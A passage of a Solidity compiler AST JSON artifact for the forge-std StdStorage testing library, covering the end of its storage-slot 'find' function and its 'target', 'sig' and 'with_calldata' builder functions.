0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"5094:13:8"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":7901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"5127:3:8","subExpression":{"id":7900,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5127:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7902,"nodeType":"ExpressionStatement","src":"5127:3:8"},"nodeType":"ForStatement","src":"5089:1309:8"}]},"id":8047,"nodeType":"IfStatement","src":"4947:1461:8","trueBody":{"id":7891,"nodeType":"Block","src":"4970:99:8","statements":[{"expression":{"arguments":[{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a204e6f2073746f726167652075736520646574656374656420666f72207461726765742e","id":7888,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4991:66:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_328ff448bebe6b9a52a670e66989b0a23c94fd0cbd86c30e5432c6ddc5340283","typeString":"literal_string \"stdStorage find(StdStorage): No storage use detected for target.\""},"value":"stdStorage find(StdStorage): No storage use detected for target."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_328ff448bebe6b9a52a670e66989b0a23c94fd0cbd86c30e5432c6ddc5340283","typeString":"literal_string \"stdStorage find(StdStorage): No storage use detected for target.\""}],"id":7887,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"4984:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":7889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4984:74:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7890,"nodeType":"ExpressionStatement","src":"4984:74:8"}]}},{"expression":{"arguments":[{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":8049,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6439:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8050,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6444:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"6439:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":8052,"indexExpression":{"id":8051,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6450:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6439:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":8054,"indexExpression":{"id":8053,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6455:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6439:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":8062,"indexExpression":{"arguments":[{"arguments":[{"id":8058,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6488:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8059,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6496:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8056,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6471:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8057,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6475:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6471:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6471:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8055,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6461:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6461:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6439:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":8063,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6511:5:8","memberName":"found","nodeType":"MemberAccess","referencedDeclaration":7401,"src":"6439:77:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a20536c6f74287329206e6f7420666f756e642e","id":8064,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6530:49:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_47c274d4780c7bff83310cd576005a97888a2b2935c22f84e1e5282c1bfb39a8","typeString":"literal_string \"stdStorage find(StdStorage): Slot(s) not found.\""},"value":"stdStorage find(StdStorage): Slot(s) not found."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_47c274d4780c7bff83310cd576005a97888a2b2935c22f84e1e5282c1bfb39a8","typeString":"literal_string \"stdStorage find(StdStorage): Slot(s) not found.\""}],"id":8048,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6418:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":8065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6418:171:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8066,"nodeType":"ExpressionStatement","src":"6418:171:8"},{"condition":{"id":8067,"name":"_clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7793,"src":"6604:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8073,"nodeType":"IfStatement","src":"6600:48:8","trueBody":{"id":8072,"nodeType":"Block","src":"6612:36:8","statements":[{"expression":{"arguments":[{"id":8069,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6632:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8068,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8735,"src":"6626:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":8070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6626:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8071,"nodeType":"ExpressionStatement","src":"6626:11:8"}]}},{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":8074,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"6664:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8075,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6669:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"6664:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":8077,"indexExpression":{"id":8076,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"6675:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6664:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":8079,"indexExpression":{"id":8078,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"6680:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6664:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":8087,"indexExpression":{"arguments":[{"arguments":[{"id":8083,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"6713:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":8084,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"6721:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8081,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6696:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8082,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6700:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"6696:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6696:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":8080,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"6686:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":8086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6686:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6664:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"functionReturnParameters":7798,"id":8088,"nodeType":"Return","src":"6657:78:8"}]},"documentation":{"id":7788,"nodeType":"StructuredDocumentation","src":"3741:129:8","text":"@notice find an arbitrary storage slot given a function sig, input data, address of the contract and a value to check against"},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"4258:4:8","parameters":{"id":7794,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7791,"mutability":"mutable","name":"self","nameLocation":"4282:4:8","nodeType":"VariableDeclaration","scope":8090,"src":"4263:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7790,"nodeType":"UserDefinedTypeName","pathNode":{"id":7789,"name":"StdStorage","nameLocations":["4263:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"4263:10:8"},"referencedDeclaration":7427,"src":"4263:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7793,"mutability":"mutable","name":"_clear","nameLocation":"4293:6:8","nodeType":"VariableDeclaration","scope":8090,"src":"4288:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7792,"name":"bool","nodeType":"ElementaryTypeName","src":"4288:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"4262:38:8"},"returnParameters":{"id":7798,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7797,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8090,"src":"4319:16:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":7796,"nodeType":"UserDefinedTypeName","pathNode":{"id":7795,"name":"FindData","nameLocations":["4319:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"4319:8:8"},"referencedDeclaration":7402,"src":"4319:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"src":"4318:18:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8110,"nodeType":"FunctionDefinition","src":"6748:156:8","nodes":[],"body":{"id":8109,"nodeType":"Block","src":"6844:60:8","nodes":[],"statements":[{"expression":{"id":8105,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8101,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8093,"src":"6854:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8103,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"6859:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"6854:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8104,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8095,"src":"6869:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6854:22:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":8106,"nodeType":"ExpressionStatement","src":"6854:22:8"},{"expression":{"id":8107,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8093,"src":"6893:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8100,"id":8108,"nodeType":"Return","src":"6886:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"target","nameLocation":"6757:6:8","parameters":{"id":8096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8093,"mutability":"mutable","name":"self","nameLocation":"6783:4:8","nodeType":"VariableDeclaration","scope":8110,"src":"6764:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8092,"nodeType":"UserDefinedTypeName","pathNode":{"id":8091,"name":"StdStorage","nameLocations":["6764:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6764:10:8"},"referencedDeclaration":7427,"src":"6764:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8095,"mutability":"mutable","name":"_target","nameLocation":"6797:7:8","nodeType":"VariableDeclaration","scope":8110,"src":"6789:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8094,"name":"address","nodeType":"ElementaryTypeName","src":"6789:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6763:42:8"},"returnParameters":{"id":8100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8099,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8110,"src":"6824:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8098,"nodeType":"UserDefinedTypeName","pathNode":{"id":8097,"name":"StdStorage","nameLocations":["6824:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6824:10:8"},"referencedDeclaration":7427,"src":"6824:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"6823:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8130,"nodeType":"FunctionDefinition","src":"6910:143:8","nodes":[],"body":{"id":8129,"nodeType":"Block","src":"6999:54:8","nodes":[],"statements":[{"expression":{"id":8125,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8121,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8113,"src":"7009:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8123,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7014:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"7009:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8124,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8115,"src":"7021:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"7009:16:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"id":8126,"nodeType":"ExpressionStatement","src":"7009:16:8"},{"expression":{"id":8127,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8113,"src":"7042:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8120,"id":8128,"nodeType":"Return","src":"7035:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"6919:3:8","parameters":{"id":8116,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8113,"mutability":"mutable","name":"self","nameLocation":"6942:4:8","nodeType":"VariableDeclaration","scope":8130,"src":"6923:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8112,"nodeType":"UserDefinedTypeName","pathNode":{"id":8111,"name":"StdStorage","nameLocations":["6923:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6923:10:8"},"referencedDeclaration":7427,"src":"6923:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8115,"mutability":"mutable","name":"_sig","nameLocation":"6955:4:8","nodeType":"VariableDeclaration","scope":8130,"src":"6948:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":8114,"name":"bytes4","nodeType":"ElementaryTypeName","src":"6948:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"6922:38:8"},"returnParameters":{"id":8120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8119,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8130,"src":"6979:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8118,"nodeType":"UserDefinedTypeName","pathNode":{"id":8117,"name":"StdStorage","nameLocations":["6979:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6979:10:8"},"referencedDeclaration":7427,"src":"6979:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"6978:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8152,"nodeType":"FunctionDefinition","src":"7059:156:8","nodes":[],"body":{"id":8151,"nodeType":"Block","src":"7155:60:8","nodes":[],"statements":[{"expression":{"id":8147,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8141,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8133,"src":"7165:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8143,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7170:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"7165:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":8145,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8135,"src":"7182:4:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":8144,"name":"sigs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7481,"src":"7177:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_bytes4_$","typeString":"function (string memory) pure returns (bytes4)"}},"id":8146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7177:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"7165:22:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"id":8148,"nodeType":"ExpressionStatement","src":"7165:22:8"},{"expression":{"id":8149,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8133,"src":"7204:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8140,"id":8150,"nodeType":"Return","src":"7197:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"7068:3:8","parameters":{"id":8136,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8133,"mutability":"mutable","name":"self","nameLocation":"7091:4:8","nodeType":"VariableDeclaration","scope":8152,"src":"7072:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8132,"nodeType":"UserDefinedTypeName","pathNode":{"id":8131,"name":"StdStorage","nameLocations":["7072:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7072:10:8"},"referencedDeclaration":7427,"src":"7072:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8135,"mutability":"mutable","name":"_sig","nameLocation":"7111:4:8","nodeType":"VariableDeclaration","scope":8152,"src":"7097:18:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":8134,"name":"string","nodeType":"ElementaryTypeName","src":"7097:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7071:45:8"},"returnParameters":{"id":8140,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8139,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8152,"src":"7135:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8138,"nodeType":"UserDefinedTypeName","pathNode":{"id":8137,"name":"StdStorage","nameLocations":["7135:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7135:10:8"},"referencedDeclaration":7427,"src":"7135:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7134:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8172,"nodeType":"FunctionDefinition","src":"7221:174:8","nodes":[],"body":{"id":8171,"nodeType":"Block","src":"7331:64:8","nodes":[],"statements":[{"expression":{"id":8167,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8163,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8155,"src":"7341:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8165,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7346:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"7341:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8166,"name":"_calldata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8157,"src":"7358:9:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"7341:26:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"id":8168,"nodeType":"ExpressionStatement","src":"7341:26:8"},{"expression":{"id":8169,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8155,"src":"7384:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8162,"id":8170,"nodeType":"Return","src":"7377:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_calldata","nameLocation":"7230:13:8","parameters":{"id":8158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8155,"mutability":"mutable","name":"self","nameLocation":"7263:4:8","nodeType":"VariableDeclaration","scope":8172,"src":"7244:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct 